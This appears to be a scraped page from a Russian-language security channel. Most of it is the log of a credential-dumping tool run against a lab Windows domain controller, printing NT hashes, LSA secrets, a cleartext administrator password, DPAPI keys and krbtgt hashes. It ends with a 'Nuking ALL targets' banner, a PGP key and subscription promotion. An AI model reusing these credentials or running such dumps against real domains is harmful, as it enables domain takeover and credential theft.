02-01-2016 15:36:12 Administrator (500)/UserComment:

02-01-2016 15:36:12 Administrator (500)/PrimaryGroupId: 513

02-01-2016 15:36:12 Administrator (500)/BadPasswordCount: 0

02-01-2016 15:36:12 Administrator (500)/LogonCount: 57

02-01-2016 15:36:12 Guest (501)/FullName:

02-01-2016 15:36:12 Guest (501)/UserComment:

02-01-2016 15:36:12 Guest (501)/PrimaryGroupId: 514

02-01-2016 15:36:12 Guest (501)/BadPasswordCount: 0

02-01-2016 15:36:12 Guest (501)/LogonCount: 0

02-01-2016 15:36:12 krbtgt (502)/FullName:

02-01-2016 15:36:12 krbtgt (502)/UserComment:

02-01-2016 15:36:12 krbtgt (502)/PrimaryGroupId: 513

02-01-2016 15:36:12 krbtgt (502)/BadPasswordCount: 0

02-01-2016 15:36:12 krbtgt (502)/LogonCount: 0

02-01-2016 15:36:12 user (1106)/FullName: user

02-01-2016 15:36:12 user (1106)/UserComment:

02-01-2016 15:36:12 user (1106)/PrimaryGroupId: 513

02-01-2016 15:36:12 user (1106)/BadPasswordCount: 0

02-01-2016 15:36:12 user (1106)/LogonCount: 5

02-01-2016 15:36:12 test3 (1603)/FullName:

02-01-2016 15:36:12 test3 (1603)/UserComment:

02-01-2016 15:36:12 test3 (1603)/PrimaryGroupId: 513

02-01-2016 15:36:12 test3 (1603)/BadPasswordCount: 0

02-01-2016 15:36:12 test3 (1603)/LogonCount: 0

02-01-2016 15:36:12 hacker (1604)/FullName:

02-01-2016 15:36:12 hacker (1604)/UserComment:

02-01-2016 15:36:12 hacker (1604)/PrimaryGroupId: 513

02-01-2016 15:36:12 hacker (1604)/BadPasswordCount: 0

02-01-2016 15:36:12 hacker (1604)/LogonCount: 0

02-01-2016 15:36:12 [+] 192.168.1.138:445 Dumping SAM hashes (uid:rid:lmhash:nthash):

02-01-2016 15:36:12 Administrator:500:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::

02-01-2016 15:36:12 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

02-01-2016 15:36:12 [+] 192.168.1.138:445 Dumping LSA secrets:

02-01-2016 15:36:13 XEROSECURITY\WIN-8MSB2DD52P9$:aad3b435b51404eeaad3b435b51404ee:58171b080def3d
75833dcc4588956059:::

02-01-2016 15:36:13 XEROSECURITY\Administrator:Password123$

02-01-2016 15:36:14 DPAPI_SYSTEM:010000003ebaec57217e3b64e2c8dbd2ac1a74b89e8556a09a7405a222ffee2e
53537aa1c4a8ed162d1c0942

02-01-2016 15:36:14 NL$KM:343d474a146294edb809595557fef61caa0aacf48e573c9f5c8a1244906a3c2125bc17d7
16f79fad4497e315a4d96d788c035e9e238087756a7c7c2b39854565

02-01-2016 15:36:49 [+] 192.168.1.138:445 Dumping NTDS.dit secrets using the VSS method 
(domain\uid:rid:lmhash:nthash):

02-01-2016 15:37:21 Administrator:500:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::

02-01-2016 15:37:21 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

02-01-2016 15:37:21 WIN-8MSB2DD52P9$:1001:aad3b435b51404eeaad3b435b51404ee:58171b080def3d75833dcc4588956059:::

02-01-2016 15:37:21 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2b77d7cda13b836d669bea8ebbdb6464:::

02-01-2016 15:37:22 user-XP$:1104:aad3b435b51404eeaad3b435b51404ee:9874f93eb39548c31e655bc688c89064:::

02-01-2016 15:37:22 xerosecurity.com\user:1106:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83
a65aa94665:::

02-01-2016 15:37:22 TEST-3F6416AC49$:1602:aad3b435b51404eeaad3b435b51404ee:a93c420761d5d783f1c3c674482
e7d47:::

02-01-2016 15:37:22 test3:1603:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::

02-01-2016 15:37:22 hacker:1604:aad3b435b51404eeaad3b435b51404ee:b490b475e987909ae9bd83a65aa94665:::

02-01-2016 15:37:22 [+] 192.168.1.138:445 Current active sessions:

02-01-2016 15:37:22 [+] 192.168.1.138:445 Available disks:

02-01-2016 15:37:22 A:

02-01-2016 15:37:22 C:

02-01-2016 15:37:22 D:

02-01-2016 15:37:22 [+] 192.168.1.138:445 Logged on users:

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\Administrator WIN-8MSB2DD52P9

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 XEROSECURITY\Administrator WIN-8MSB2DD52P9

02-01-2016 15:37:22 XEROSECURITY\WIN-8MSB2DD52P9$

02-01-2016 15:37:22 [+] 192.168.1.138:445 UAC status:

02-01-2016 15:37:22 1 - UAC Enabled

Игра закончена!

                     __,-~~/~    `---.

                    _/_,---(      ,    )

                __ /        <    /   )  \___

 - ------===;;;'====------------------===;;;===----- -  -

                   \/  ~'~'~'~'~'~\~'~)~'/

                   (_ (   \  (     >    \)

                    \_( _ <         >_>'

                       ~ `-i' ::>|--"

                           I;|.|.|

                          <|i::|i|`.

                        (` ^''`-' ')

 ---------------------------------------------------------

 + -- --=[WARNING! Nuking ALL targets!

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: BCPG v1.47

mQGiBFOTBT0RBADPrEncdeI9pqvVLs5y7PSfFcCkY8DAWKbArfCkbgubtQWw5BdI

Jszs6ZOFNNWsa1KzNxVKrYpKHca8RNleKURREwy/7kMRfn3ROkqbhkJu5aE0ko5c

HTW+SGAqSQ1a6mOEZtYtR+ztU7m6+JA9cyg47xTm4IvwlimELzceZxz2UwCg34Vs

oXBGlnXQRi/TUvVT5Rl78NkEAKmRiWbDoQJe0BF9YihdLvk0ue+rq5PQEge+z7b4

fjke7D2IIoWkr+FgCtxtM0SIly5Yi3ykbXzQ9dVVCYsVq8mIIu7mnKx9MAEl+Oy3

cTOyqflPtXkVGkANWiBlTsDxxMYRz11gx3uz9IQN67UDTGZhZM/RNWNm0orYHQqJ

htCdBACoJyG6K6EnYWF7RnQ2HOR2BDeOfT7pfb3BqZgxu6P/hLNUwxGzkouqh9zW

dIV26UvUFH0uVqlIJIEL25bBUvT3SAb/YgUyWj8zGldIeHEb+Ey8NRrpA0jSgngw

2lEz8s2rXn26uqYmBZpaC31xuHElsabXcxoxO2NwKpOoQp8M+LQxMU4zIChub254

ZXJvQGh1c2htYWlsLmNvbSkgPG5vbnhlcm9AaHVzaG1haWwuY29tPohGBBMRAgAG

BQJTkwU9AAoJEK5I0soeQQ4/uiMAnjQVI0okFY27P+SUvucIRFCkpDlcAJ9SNR3a

Gsn1n8Vfly2Esrls0aknlrjMBFOTBT0QAgCUlP7AlfO4XuKGVCs4NvyBpd0KA0m0

wjndOHRNSIz44x24vLfTO0GrueWjPMqRRLHO8zLJS/BXO/BHo6ypjN87Af0VPV1h

cq20MEW2iujh3hBwthNwBWhtKdPXOndJGZaB7lshLJuWv9z6WyDNXj/SBEiV1gnP

m0ELeg8Syhy5pCjMAf9CkkCANdB2hchLE0PTZYpDc1aVLo4pxAUYl75JdYVhSlua

T6lYjxVLOO3IK7aEUvY4w+HkrhmHDkf13kA+Jq8uiEYEGBECAAYFAlOTBT0ACgkQ

rkjSyh5BDj82wACfZwQlT0+e7oAAAMAi2eZLgO1nj3oAn0FMwGF/bspm9suM5iWb

HboGqAx1=jtEG

-----END PGP PUBLIC KEY BLOCK-----

Наш канал защищен лучше, чем ваш компьютер!

Но доступ к знаниям открыт для всех

Получите root-права на безопасность — подпишитесь

Компрометирование Windows-доменов из командной строки

Подпишитесь на email рассылку